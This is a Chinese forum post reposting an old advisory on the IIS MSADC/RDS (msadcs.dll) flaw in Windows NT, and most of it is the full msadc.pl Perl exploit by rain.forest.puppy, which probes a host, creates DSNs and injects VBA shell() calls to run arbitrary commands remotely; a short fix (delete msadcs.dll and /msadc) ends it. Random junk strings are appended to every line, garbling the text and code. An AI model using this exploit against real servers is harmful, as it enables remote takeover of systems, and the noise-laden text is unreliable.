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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) C IRMAX  
3Q2NiYg3  
涉及程序: @moaa}1  
Microsoft NT server Ak$9\Sl  
/UaQ 2h\  
描述: 3K/]{ dkD  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 vG=Pi'4XXo  
gADqIPu]  
详细: fgHsg@33N  
如果你没有时间读详细内容的话,就删除: =`Ky N/  
c:\Program Files\Common Files\System\Msadc\msadcs.dll =F dFLrx~l  
有关的安全问题就没有了。 17w{hK4o8O  
/nEK|.j  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 UWdqcOr  
kV3LFPf>0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 jaMpi^C  
关于利用ODBC远程漏洞的描述,请参看: m~&>+q ^7  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 579 t^"ja~  
O"_QDl<ya  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Lmw)Ts>  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp A{\DzUV9,  
[g{fz3 O6  
这里不再论述。 >)mF'w  
{}=5uU2Tu  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ^9YS dFH/  
<,H/7Ba  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset !#E-p?O.  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! >xH?`I7;f  
T~4HeEG>uH  
:R3&R CTZ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" IWwOP{ <ZQ  
t{B6W)q  
#!perl F>E_d<m  
# brL u~]I  
# MSADC/RDS 'usage' (aka exploit) script {nS(B  
# i?)bF!J  
# by rain.forest.puppy T>&dPVmG,  
# u!fZ>kS  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me !A14\  
# beta test and find errors! - 8jlh  
vi[~Qt  
use Socket; use Getopt::Std; B =DV!oUg  
getopts("e:vd:h:XR", \%args); pTJ_DH  
)5Cqyp~P  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ol`q7i.  
&?gcnMg$,J  
if (!defined $args{h} && !defined $args{R}) { R/2L9Lcv  
print qq~ Eok8+7g0&  
Usage: msadc.pl -h <host> { -d <delay> -X -v } #}8VUbJ  
-h <host> = host you want to scan (ip or domain) =CL,+  
-d <seconds> = delay between calls, default 1 second CM `Q((  
-X = dump Index Server path table, if available +.$:ZzH#  
-v = verbose j9cB<atL  
-e = external dictionary file for step 5 g1B P  
U<'$ \ P  
Or a -R will resume a command session f,BJb+0  
]HRHF'4  
~; exit;} DvA#zX[  
m5hu;>gt  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; EAF\ 7J*  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} z,VXH ?.Zo  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} [u-=<hnoa  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Q1H.2JXr  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} % 5BSXAc  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Ysi@wK-LnF  
P+3 ]g{2w  
if (!defined $args{R}){ $ret = &has_msadc; dp3TJZ+U  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} n9 Jev_!A  
6O@Lx ]t  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" l 5f'R  
. "cmd /c "; U1kW1L}B  
$in=<STDIN>; chomp $in; aQso<oK  
$command="cmd /c " . $in ; q@4Cw&AI+  
FE06,i\{  
if (defined $args{R}) {&load; exit;} "`w*-O  
viVn  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; = @FT$GQ  
&try_btcustmr; u4[JDB7tH  
XW{cC`&  
print "\nStep 2: Trying to make our own DSN..."; #O'g*]j  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; YKx+z[A/p  
_ CzAv%  
print "\nStep 3: Trying known DSNs..."; aecvz0}@R  
&known_dsn; vTp,j-^  
q"LT8nD\  
print "\nStep 4: Trying known .mdbs..."; qtP*O#1q  
&known_mdb; uYd_5 nw  
!Z;Nv  
if (defined $args{e}){ zS?DXE  
print "\nStep 5: Trying dictionary of DSN names..."; 4XeO^#  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 4U[X-AIY&  
nH[>Sff$  
print "Sorry Charley...maybe next time?\n"; HaOSFltf#  
exit; Z,F1n/7  
r&XxF >  
############################################################################## zaE!=-U  
*mN8Qd  
sub sendraw { # ripped and modded from whisker a$LoQ<f_  
sleep($delay); # it's a DoS on the server! At least on mine... TQ5kT?/{  
my ($pstr)=@_; 5%DHF-W)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Q%t _Epe  
die("Socket problems\n"); wJ7Fnj>u%  
if(connect(S,pack "SnA4x8",2,80,$target)){ vLCm,Bb2L  
select(S); $|=1; 73!])!SVI  
print $pstr; my @in=<S>; 4_4|2L3  
select(STDOUT); close(S); G2J4N2hu  
return @in; I;mc:@R<  
} else { die("Can't connect...\n"); }} Ej`G(  
RLDu5  
############################################################################## B^x}=Z4  
Fk?KR  
sub make_header { # make the HTTP request w/7vXz<  
my $msadc=<<EOT U,aMv[ZB  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 hllb\Y)XL  
User-Agent: ACTIVEDATA NV`7VYU  
Host: $ip Btc[  
Content-Length: $clen o:Tpd 0F  
Connection: Keep-Alive _ ^^5  
iyMoLZ5  
ADCClientVersion:01.06 ;i3C  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 <Oj'0NK-  
?j} Fxr  
--!ADM!ROX!YOUR!WORLD! qPCI@5n3T?  
Content-Type: application/x-varg az Oib=3fz  
Content-Length: $reqlen  V#+J4   
f:9qId ;/M  
EOT e4 cWi  
; $msadc=~s/\n/\r\n/g; 0#F<JsO|u  
return $msadc;} "04:1J`  
M5]$w]Ny9  
############################################################################## 5eas^Rm  
lq27^K  
sub make_req { # make the RDS request 'W[Nr  
my ($switch, $p1, $p2)=@_; CWnRRZ}r  
my $req=""; my $t1, $t2, $query, $dsn; ?:RWHe.P  
c5{3  
if ($switch==1){ # this is the btcustmr.mdb query SxM5'KQ  
$query="Select * from Customers where City=" . make_shell(); By0Zz  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . $tebNi P  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} xllmF)]*Y  
7L!q{%}  
elsif ($switch==2){ # this is general make table query ;B"S*wYMN  
$query="create table AZZ (B int, C varchar(10))"; &F +hh{  
$dsn="$p1";} {^K&9sz  
e73zpF  
elsif ($switch==3){ # this is general exploit table query iP?=5j=4  
$query="select * from AZZ where C=" . make_shell(); p2 m`pT  
$dsn="$p1";} 0U:9&j P,  
`mKK1x  
elsif ($switch==4){ # attempt to hork file info from index server $yMNdBI[  
$query="select path from scope()"; ?w@KF%D  
$dsn="Provider=MSIDXS;";} x]:B3_qR  
B{Lcx~  
elsif ($switch==5){ # bad query !p4FK]B/u  
$query="select"; P/dT;YhL  
$dsn="$p1";} "J3n_3+  
<t.  w(?  
$t1= make_unicode($query); RSf*[2  
$t2= make_unicode($dsn); luO4ap]*  
$req = "\x02\x00\x03\x00"; /I q6'oo  
$req.= "\x08\x00" . pack ("S1", length($t1)); g U v`G  
$req.= "\x00\x00" . $t1 ; b#_u.vP  
$req.= "\x08\x00" . pack ("S1", length($t2)); +*$@ K'VL  
$req.= "\x00\x00" . $t2 ; Y; q['h  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; $C6O<A  
return $req;} ]N1gzHaS  
>2< Jb!f&  
############################################################################## 0bR})}a+Yg  
&0euNHH;sL  
sub make_shell { # this makes the shell() statement i>@"&  
return "'|shell(\"$command\")|'";} @!Q\| <  
#^< Rx{  
############################################################################## EeS VY  
&?yVLft  
sub make_unicode { # quick little function to convert to unicode <ApzcyC  
my ($in)=@_; my $out; _l](dqyuN(  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } n6 AP6PK7  
return $out;} QgW4jIbx  
iYzm<3n?  
############################################################################## ^2!l/(?  
N >+L?C  
sub rdo_success { # checks for RDO return success (this is kludge) \-)augq([  
my (@in) = @_; my $base=content_start(@in); >*[Bq;  
if($in[$base]=~/multipart\/mixed/){ 0D48L5kH#'  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} -8,lXrH  
return 0;} %!Ak]|[7  
P 4jg]g  
############################################################################## uVV;"LVK~  
] _P!+5]<  
sub make_dsn { # this makes a DSN for us 8w4cqr4m  
my @drives=("c","d","e","f"); WiclG8l  
print "\nMaking DSN: "; 8{J{)gF  
foreach $drive (@drives) { G+f@m,  
print "$drive: "; _#6ekl|%  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Y,C3E>}Dq  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" !l1ycQM  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); -<WQ>mrB&  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; %wS5m#n  
return 0 if $2 eq "404"; # not found/doesn't exist [|\BuUT'  
if($2 eq "200") { \^rAH@  
foreach $line (@results) { <YBA 7i  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} *ZA.O  
} return 0;} bcZ s+FOPd  
0=Z_5.T>  
############################################################################## D<*#. >  
66l$}+|Zzc  
sub verify_exists { B*j AD2  
my ($page)=@_; 2x&mJ}o#k  
my @results=sendraw("GET $page HTTP/1.0\n\n"); QBfsdu<@^  
return $results[0];} 'Ijjk`d&c  
!&OybjQ  
############################################################################## dD0:K3@  
)6:nJ"j#  
sub try_btcustmr { g{?]a'?  
my @drives=("c","d","e","f"); {(!j6|jK  
my @dirs=("winnt","winnt35","winnt351","win","windows"); y9L:2f\  
Wo+'j $k  
foreach $dir (@dirs) { rN%aP-sa<  
print "$dir -> "; # fun status so you can see progress 2Aq%;=+*  
foreach $drive (@drives) { 5n'C6q "  
print "$drive: "; # ditto !`%3?}mv,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 7'9~Kx&+  
$reqlenlen=length( "$reqlen" ); Iz<}>J B  
$clen= 206 + $reqlenlen + $reqlen; 6Q.6  
Ad:)5R o  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); @SV.F  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 7 -hSso.'  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 8_@#5  
-h<Rby  
############################################################################## SMdQ,n1]  
wx|eO[14  
sub odbc_error { b:uMO N,H  
my (@in)=@_; my $base; Q(Dp116  
my $base = content_start(@in); L0H kmaH  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this { f@k2^  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; s'/ g:aJ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; }+8w  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [EETx-  
return $in[$base+4].$in[$base+5].$in[$base+6];} _n;V iQMu  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";  #{8n<sE  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . EJrn4QOs  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} JtrLTo  
vpGeG  
############################################################################## 3,cZ*4('d  
lJloa'%v9  
sub verbose { >1=sw qa  
my ($in)=@_; .?YLD+\A  
return if !$verbose; Htf|VpzMb  
print STDOUT "\n$in\n";} s5TPecd  
;nbUbRb  
############################################################################## yF}l.>7D  
BtN@P23>k.  
sub save { )wROPA\uA  
my ($p1, $p2, $p3, $p4)=@_; > ^b6\  
open(OUT, ">rds.save") || print "Problem saving parameters...\n";  OBCRZ   
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 4M&6q(389  
close OUT;} Ol9'ZB|R  
wtDy-H n  
############################################################################## ` qqUuFMM  
<-:gaA`KM  
sub load { |3?qL  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; a0oM KGW:  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 'K=n}}&:  
@p=<IN>; close(IN); (bk~,n_  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); TrHz(no  
$target= inet_aton($ip) || die("inet_aton problems"); =*aun&  
print "Resuming to $ip ..."; #lM :BO  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >d&_e[j  
if($p[1]==1) { jMvWS71  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; B|-E3v:f 4  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; h<50jnH!  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); A7!=`yA$  
if (rdo_success(@results)){print "Success!\n";} }l/ !thzC  
else { print "failed\n"; verbose(odbc_error(@results));}} h4 s!VK1X  
elsif ($p[1]==3){ R&BbXSIDX  
if(run_query("$p[3]")){ vt" 7[!O  
print "Success!\n";} else { print "failed\n"; }} ptXLWv`  
elsif ($p[1]==4){ 4A_}:nU  
if(run_query($drvst . "$p[3]")){ E5P?(5Nv  
print "Success!\n"; } else { print "failed\n"; }} # 4AyA$t  
exit;} xA-O?s"CY  
RSLMO8  
############################################################################## *t'q n   
TM8WaH   
sub create_table { S"iz fQ@  
my ($in)=@_; UGNFWZ c  
$reqlen=length( make_req(2,$in,"") ) - 28; T=|oZ  
$reqlenlen=length( "$reqlen" ); 'G!w0yF  
$clen= 206 + $reqlenlen + $reqlen; \h DH81L  
my @results=sendraw(make_header() . make_req(2,$in,"")); LB|FVNW/S  
return 1 if rdo_success(@results); p-H q\DP  
my $temp= odbc_error(@results); verbose($temp); 0i2ZgOJ  
return 1 if $temp=~/Table 'AZZ' already exists/; DbdxHuKa>  
return 0;} !YlyUHD  
);*A$C9RA  
############################################################################## E}aTH  
:bx q%D%|o  
sub known_dsn { LY%`O#i.  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Br2ZloJ@+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", G!J{$0.  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", x;,H>!r"i  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ]urrAIK  
^d!(8vh  
foreach $dSn (@dsns) { YPraf$  
print "."; `k}  
next if (!is_access("DSN=$dSn")); 85P7I=`*d  
if(create_table("DSN=$dSn")){ :?VM1!~ga  
print "$dSn successful\n"; E4^zW_|xE  
if(run_query("DSN=$dSn")){ Z_oBZs  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { g|r:+%,M  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Nb2]}; O  
ssv4#8p3  
############################################################################## <!#6c :(Q  
=IH z@CU  
sub is_access { ho#]i$b}f2  
my ($in)=@_; MXWCYi  
$reqlen=length( make_req(5,$in,"") ) - 28; -z]v"gF?Px  
$reqlenlen=length( "$reqlen" ); o7N3:)  
$clen= 206 + $reqlenlen + $reqlen; [:geDk9O#'  
my @results=sendraw(make_header() . make_req(5,$in,"")); Tti]H9g_  
my $temp= odbc_error(@results); Cf'O*RFD  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); =FkU: q$  
return 0;} $*ujX,}xG  
w{J0K; L  
############################################################################## ^PY*INv  
#WD} XOA  
sub run_query { Suixk'-  
my ($in)=@_; |kL^k{=zV  
$reqlen=length( make_req(3,$in,"") ) - 28; sGjYL>*  
$reqlenlen=length( "$reqlen" ); wXv\[z L`  
$clen= 206 + $reqlenlen + $reqlen; ln#Jb&u  
my @results=sendraw(make_header() . make_req(3,$in,"")); DGMvYNKTj  
return 1 if rdo_success(@results); %UuV^C  
my $temp= odbc_error(@results); verbose($temp); rmj?jBKQU  
return 0;} d Ybb>rlu  
lPL>8.j  
############################################################################## FWNO/)~t  
KS($S( Fi  
sub known_mdb { c0v;r4Jo#j  
my @drives=("c","d","e","f","g"); )K2,h5zU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); F0O"rN{  
my $dir, $drive, $mdb; <S'5`-&  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; EGYYSoBLU  
{FO>^~>l  
# this is sparse, because I don't know of many f S50  
my @sysmdbs=( "\\catroot\\icatalog.mdb", KUG\C\z6=  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", `<>Emc8Z  
"\\system32\\certmdb.mdb", irSdqa/  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7@R;lOzL3  
!ydJ{\;  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", l$$N~FN  
"\\cfusion\\cfapps\\forums\\forums_.mdb", VU7x w  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", PaPQ|Pwz  
"\\cfusion\\cfapps\\security\\realm_.mdb", ]+O];*T  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", e;:~@cB,c  
"\\cfusion\\database\\cfexamples.mdb", &D, gKT~  
"\\cfusion\\database\\cfsnippets.mdb", )jbYWR *&  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", N5u.V\F!z\  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", l?:!G7ie  
"\\cfusion\\brighttiger\\database\\cleam.mdb", zG|}| //}  
"\\cfusion\\database\\smpolicy.mdb", rt r0 d  
"\\cfusion\\database\cypress.mdb", \; Io  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", iGmBG1a\  
"\\website\\cgi-win\\dbsample.mdb", >'3J. FY  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 1?\ #hemL  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" gz6BfHQG  
); #these are just G*_$[|H  
foreach $drive (@drives) { ^a~^$PUqI  
foreach $dir (@dirs){ ~W'>L++  
foreach $mdb (@sysmdbs) { wehZ7eqm  
print "."; "Gx(-NH+  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ f5jxF"oGNo  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Q70LQCms  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %\8E{M:  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; x{IxS?.j+  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Z)cGe1?q  
V3&_ST  
foreach $drive (@drives) { _idTsd:\  
foreach $mdb (@mdbs) { O-r,&W  
print "."; FBpf_=(_1  
if(create_table($drv . $drive . $dir . $mdb)){ Nq|b$S[4  
print "\n" . $drive . $dir . $mdb . " successful\n"; <$)F_R~T3  
if(run_query($drv . $drive . $dir . $mdb)){ z mvF#o  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; .Ua|KKK C  
} else { print "Something's borked. Use verbose next time\n"; }}}} xh[De}@  
} N:Yjz^Jt  
9$7tB  
############################################################################## HMT^gmF)  
0q`n]NM  
sub hork_idx { D~W1["[  
print "\nAttempting to dump Index Server tables...\n"; ..RCR_DIp  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 1Wzm51RU  
$reqlen=length( make_req(4,"","") ) - 28; .JIn(  
$reqlenlen=length( "$reqlen" ); X PnN"Y"y  
$clen= 206 + $reqlenlen + $reqlen; .^BL7  
my @results=sendraw2(make_header() . make_req(4,"","")); W$=MuF7R  
if (rdo_success(@results)){ C<Q;3w`#1j  
my $max=@results; my $c; my %d; Tl9KL%9  
for($c=19; $c<$max; $c++){ _MfXN$I?}  
$results[$c]=~s/\x00//g; g+Z~"O]$M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;  qOO2@c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; _]W {)=ap  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Ar4@7  
$d{"$1$2"}="";} Z)B5g>  
foreach $c (keys %d){ print "$c\n"; } -}nTwx:|5u  
} else {print "Index server doesn't seem to be installed.\n"; }} KTX;x2r  
NLZTIZCK  
############################################################################## B\BxF6 y  
^W-03  
sub dsn_dict { ,Q~C F;qe  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ^i}*$ZC72  
while(<IN>){ |` gSkv  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ni$7)YcF  
next if (!is_access("DSN=$dSn")); `4E6&&E+S  
if(create_table("DSN=$dSn")){ vCE1R]^A.]  
print "$dSn successful\n"; };%l <Ui;  
if(run_query("DSN=$dSn")){ FFGG6r  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5yO %|)  
print "Something's borked. Use verbose next time\n";}}} u`Kjs}F'  
print "\n"; close(IN);} 86(8p_&zC  
/(-X[[V  
############################################################################## qI,4 uGg  
}{<@wE%s  
sub sendraw2 { # ripped and modded from whisker V<f76U)  
sleep($delay); # it's a DoS on the server! At least on mine... KCG-&p$v@s  
my ($pstr)=@_; nJH+P!AC  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || k[3J5 4`g1  
die("Socket problems\n"); f(Jz*el S  
if(connect(S,pack "SnA4x8",2,80,$target)){ z?V'1L1gM  
print "Connected. Getting data"; h\GlyH~  
open(OUT,">raw.out"); my @in; h?H:r <  
select(S); $|=1; print $pstr; G  @ib  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} J}IHQZS  
close(OUT); select(STDOUT); close(S); return @in; PfKIaW<  
} else { die("Can't connect...\n"); }}  Qx,jUL#2  
Dk&@AjJga  
############################################################################## PS ,@ \  
G|5M~zP  
sub content_start { # this will take in the server headers r|[uR$|Y  
my (@in)=@_; my $c; (xnXM}M&2Y  
for ($c=1;$c<500;$c++) { e-vwve  
if($in[$c] =~/^\x0d\x0a/){ tjw4.L<r  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 9L+dN%C  
else { return $c+1; }}} z& !n'N<C  
return -1;} # it should never get here actually \ UCOe  
bL>J0LWQ  
############################################################################## *,Bo $:(n  
zX+NhTTB  
sub funky { $ K>.|\  
my (@in)=@_; my $error=odbc_error(@in); y#-mj,e  
if($error=~/ADO could not find the specified provider/){ OmO/x  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 9Yg=4>#$  
exit;} 3=( Gb  
if($error=~/A Handler is required/){ (gd+-o4  
print "\nServer has custom handler filters (they most likely are patched)\n"; hVPSW# .d  
exit;} -z"=d<@  
if($error=~/specified Handler has denied Access/){ tY=sl_  
print "\nServer has custom handler filters (they most likely are patched)\n"; U#3Y3EdF<  
exit;}} gp Aqz Y  
O=c^Ak   
############################################################################## MH;5gC@ `  
FOz7W  
sub has_msadc { wGfU@!m  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Q9v OY8  
my $base=content_start(@results); "p<B|  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); u*#j;Xc  
return 0;} s>8;At-  
|7G +O+j  
######################## +AVYypql8K  
A1{ 7g<k6  
\bJ,8J1C  
解决方案: 4,D$% .  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ZuV/!9qU  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ;{xk[f m=  
@k_xA-a  
拿出来充数 哈哈
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